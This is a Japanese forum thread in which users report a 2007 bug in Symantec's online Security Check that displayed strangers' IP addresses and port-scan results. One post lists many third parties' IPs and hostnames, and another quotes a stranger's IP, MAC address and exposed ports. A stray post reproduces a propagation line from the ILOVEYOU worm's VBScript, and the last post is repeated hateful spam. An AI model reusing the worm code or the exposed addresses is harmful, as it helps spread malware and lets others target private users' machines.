Symantec Security Checkにバグ?

このエントリーをはてなブックマークに追加
1名無しさん@お腹いっぱい。
Symantec Security Checkにバグ?


まず、一番上は、発見者である私のヤフーのIPアドレス。
真ん中と下は、同じく私のパソコンから、スキャンテストした結果です。

プロクシを使っておらず、まったく同じパソコンを
使って、数分の差しかなく、ブラジルや中国と思われる地域の
方のスキャンテストが見られます。

もちろん、スキャン結果も私のパソコンの結果ではなく、
ほかの地域の方のパソコンの結果が見えます。

これは、バグなのでしょうか?

http://blogimg.goo.ne.jp/user_image/18/36/cd4364b03c384785367ba5e579b1c42d.jpg


まったく、同じタイミングで、テストを実行した人の
結果が、バグで見られるということですか?

ポートが開いていたりっと、結果がさまざまなので、
明らかに、自分のパソコンではなく、他人のパソコンの結果が見えるように
なっています。
2名無しさん@お腹いっぱい。:2007/09/09(日) 06:11:59
これは酷い。
シマンテックって大丈夫なの?
勝手にPCをスキャンしてるってことはないのか?
3名無しさん@お腹いっぱい。:2007/09/09(日) 09:20:20
一瞬、踏み台にされたと思ったが

真実はどうよ
4名無しさん@お腹いっぱい。:2007/09/09(日) 09:32:26
無償オンラインスキャン|ウィルスチェック Part.2
http://pc11.2ch.net/test/read.cgi/sec/1177784260/l50
こちらに数日前から報告がありますので一応
5名無しさん@お腹いっぱい。:2007/09/09(日) 09:33:07
学校のテストで100点とったつもりが30点だったら驚くよな

他人の結果は要らないわ
6名無しさん@お腹いっぱい。:2007/09/09(日) 09:40:14
>>4
一週間ほど前からシマンテック鯖がバグっていたのか
少し安心した
7名無しさん@お腹いっぱい。:2007/09/09(日) 10:03:55
age
8名無しさん@お腹いっぱい。:2007/09/09(日) 10:26:06
9名無しさん@お腹いっぱい。:2007/09/09(日) 12:48:11
どうなっているの?
10名無しさん@お腹いっぱい。:2007/09/09(日) 16:42:12
いるの?
11名無しさん@お腹いっぱい。:2007/09/09(日) 21:49:05
age
12名無しさん@お腹いっぱい。:2007/09/10(月) 00:34:17
肝心の会社がスルーしてる。
どっかにたれ込みしてやったらいいんじゃね?
ITmediaとか
IPAとかに
13名無しさん@お腹いっぱい。:2007/09/10(月) 00:36:30
なんか危なそうだから
今日の朝までに治ってなかったらIPAに言っておくわ。
さすがにこれはセキュリティ上やばいかもしれん
14名無しさん@お腹いっぱい。:2007/09/10(月) 02:58:54
age
15名無しさん@お腹いっぱい。:2007/09/10(月) 03:01:13
IPアドレスとそのIPアドレスのパソコンのセキュリティレベルを他人に教えるような
ものだよな。こんなの、ハッカーがランダムに、もろいポート持ちの人を探して、
侵入しようとおもえば、いちころだよね。
16名無しさん@お腹いっぱい。:2007/09/10(月) 15:13:32
シマンテックのずさんな管理体制が読み取れる
17名無しさん@お腹いっぱい。:2007/09/10(月) 15:21:23
ライセンス管理もずさんだしなw
あんな会社の製品なんか怖くて使えねえよ
18名無しさん@お腹いっぱい。:2007/09/10(月) 21:44:05
age
19名無しさん@お腹いっぱい。:2007/09/11(火) 21:26:29
20名無しさん@お腹いっぱい。:2007/09/12(水) 17:54:19
20
21名無しさん@お腹いっぱい。:2007/09/12(水) 23:49:12
21
22名無しさん@お腹いっぱい。:2007/09/14(金) 13:19:17
二十ふぅ〜ん
23名無しさん@お腹いっぱい。:2007/09/16(日) 18:50:52
まだ直ってないな
24名無しさん@お腹いっぱい。:2007/09/21(金) 20:25:06
あげとくか
25名無しさん@お腹いっぱい。:2007/09/22(土) 10:02:31
これは酷い
26名無しさん@お腹いっぱい。:2007/09/22(土) 22:02:02
ヌー速からきますた!!!!!!!!!!!!!!!!!!!!!!!!!
クソスレage
27名無しさん@お腹いっぱい。:2007/09/22(土) 22:47:47
何で放置プレイなわけ?
結構ヤバイ問題じゃね?
28名無しさん@お腹いっぱい。:2007/09/23(日) 00:10:22
直接連絡した人はいるのかな?
気づいていないのでは?
29名無しさん@お腹いっぱい。:2007/09/23(日) 00:35:27
昨日今日の問題じゃないから把握はしてると思うんだけど
30名無しさん@お腹いっぱい。:2007/09/29(土) 09:06:02
ウィルススキャンは自分のIP表示されるけど、
セキュリティスキャンにはスペインのIPが表示されるからビックリした。
31名無しさん@お腹いっぱい。:2007/10/10(水) 23:41:51
【他人】Symantec スキャンツール【IP】
http://pc11.2ch.net/test/read.cgi/sec/1191847057/
32名無しさん@お腹いっぱい。:2007/10/18(木) 18:31:19
ああやっぱり
何故が他人のIPアドレスが表示
33名無しさん@お腹いっぱい。:2007/10/19(金) 01:27:23
Symantec放置age
34名無しさん@お腹いっぱい。:2007/10/20(土) 01:20:56
まだ放置なのかよ

IPAとかITmediaとかにタレ込んだ人はいないの?
35名無しさん@お腹いっぱい。:2007/10/20(土) 03:24:18
Symantec放置age
36名無しさん@お腹いっぱい。:2007/10/21(日) 22:42:48
スキャンしてしまったけど、
ちゃんと自分のIPだった場合は大丈夫?
37名無しさん@お腹いっぱい。:2007/10/21(日) 22:51:46
どなたか教えてください
38名無しさん@お腹いっぱい。:2007/10/21(日) 22:59:33
すいません、他で聞いてきます。
39名無しさん@お腹いっぱい。:2007/10/22(月) 01:18:35
危うく実行するところだった
他のこういうテストみたいのない?
40名無しさん@お腹いっぱい。:2007/10/22(月) 01:21:04
妄想じゃね?
41名無しさん@お腹いっぱい。:2007/10/25(木) 01:05:33
直ったんじゃねーの?
42名無しさん@お腹いっぱい。:2007/10/25(木) 01:32:00
直ってるね
43名無しさん@お腹いっぱい。:2007/10/25(木) 02:51:35
125.170.142.11
(p7011-ipbf404souka.saitama.ocn.ne.jp)
80.212.137.60
(ti500720a080-8506.bb.online.no)
222.225.224.247
(ph247.opt2.point.ne.jp)
220.3.140.75
(softbank220003140075.bbtec.net)
222.225.152.175
(mn175.opt2.point.ne.jp)
121.84.0.85
(121-84-0-85.eonet.ne.jp)
211.15.23.40
(user15040.gctv.ne.jp)
202.233.213.245
(eaoska008245.adsl.ppp.infoweb.ne.jp)
202.255.28.252
(yuki.mitani.co.jp)
221.190.115.240
(p6240-ipad36fukuokachu.fukuoka.ocn.ne.jp)
203.138.105.125
(cb8a69-125.dynamic.tiki.ne.jp)
125.4.43.192
(zaq7d042bc0.zaq.ne.jp)
124.66.249.41
(fch249041.fch.ne.jp)
60.56.129.213
(60-56-129-213.eonet.ne.jp)
58.12.72.186
(58x12x72x186.ap58.ftth.ucom.ne.jp)
124.18.44.175
(r-124-18-44-175.commufa.jp)
44名無しさん@お腹いっぱい。:2007/10/25(木) 23:15:56
こっそり修正かよ!
カスタマーサポートの中国人は、正常です!って言い張っていたくせにね。
45名無しさん@お腹いっぱい。:2007/11/10(土) 00:40:24
これは酷い
46名無しさん@お腹いっぱい。:2007/11/10(土) 05:40:14
何か直ってないか?
47スマンテック:2007/11/14(水) 23:39:12
何事もなかったように直しました。
48名無しさん@お腹いっぱい。:2007/11/17(土) 23:37:28
これって、わざと悪い結果を出してるってこと無いよな?
どんなファイアウォールを入れてもおんなじ結果で、ただ漏れなんだよな…orz
49名無しさん@お腹いっぱい。:2007/11/18(日) 00:21:51
age
50名無しさん@お腹いっぱい。:2007/11/19(月) 16:19:38
>>48
大丈夫なら安全と出るよ
51名無しさん@お腹いっぱい。:2007/11/19(月) 16:21:45
浮上
52名無しさん@お腹いっぱい。:2007/11/19(月) 23:24:17
【他人】Symantec スキャンツール【IP】
http://pc11.2ch.net/test/read.cgi/sec/1191847057/

3 :名無しさん@お腹いっぱい。:2007/10/09(火) 19:10:42
スキャン結果に驚いたw

62.149.122.2
(du62-149-122-2.saudi.net.sa)

●対ハッカー露出度チェック = 要注意!

22番ポートstealth 他ポートopen

●Windows 脆弱性チェック = 要注意! 

SERVER
HUB
00-0A-5E-65-4F-CD

●トロイの木馬チェック = 要注意!

全ポート open
5348:2007/11/20(火) 06:27:36
>50
私も>52と同じ結果ですわorz・・・・・
どんなファイアウォールを入れてもねorz・・・・・
54名無しさん@お腹いっぱい。:2007/11/20(火) 08:09:17
>>53
セキュリティスキャンが直った今やってもそんな結果が出るの?
5553:2007/11/21(水) 01:25:34
>54
左様で御座いますorz……
56名無しさん@お腹いっぱい。:2007/11/21(水) 18:53:34
それはおかしいな今試してみたけど、もうなにも問題はないよ
マイクロソフトのオンラインスキャンでもポートの判定してもらったほうがいい
5753:2007/11/21(水) 21:15:45
>56
了解(;´д`)ゝ
58名無しさん@お腹いっぱい。:2008/01/13(日) 23:08:34
Symantec Security Checkにハグに見えた○| ̄|_
59名無しさん@お腹いっぱい。:2008/05/24(土) 01:03:59
Symantecのサポートは世界最低だから仕方ないよw
60名無しさん@お腹いっぱい。:2008/08/25(月) 19:37:23
W2Kなんだけど上手くスキャンされない。ウィルススキャンはできたのに。
みなさんは出来てますか?telnetとremote registry serviceは無効にしてます。

以下のチェックはサーバーのエラーによって実行されませんでした。後ほど再度試みてください。

対ハッカー露出度チェック
Windows 脆弱性チェック
トロイの木馬チェック
61名無しさん@お腹いっぱい。:2008/09/25(木) 07:47:15
スキャンの結果、脆弱性の状態が判断できませんでした。

って出たけどインスコしているAVG Internet Securityの影響かな?
62名無しさん@お腹いっぱい。:2008/10/01(水) 20:47:16
>>60
亀だけど・・・
XP home sp3
半年?くらいその状態
やる気ないんじゃない
63名無しさん@お腹いっぱい。:2008/11/03(月) 18:27:23
なんだ、もうSymantec Security Checkはやる気無かったのか。
64■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■:2009/01/02(金) 03:26:34
65名無しさん@お腹いっぱい。:2011/01/09(日) 20:34:43
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
66名無しさん@お腹いっぱい。:2012/03/28(水) 01:26:45.62
Symantec Endpoint Protection Part2
http://kohada.2ch.net/test/read.cgi/sec/1331092341/
67名無しさん@お腹いっぱい。:2012/03/28(水) 06:26:15.45
これ前もあったな
68名無しさん@お腹いっぱい。
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね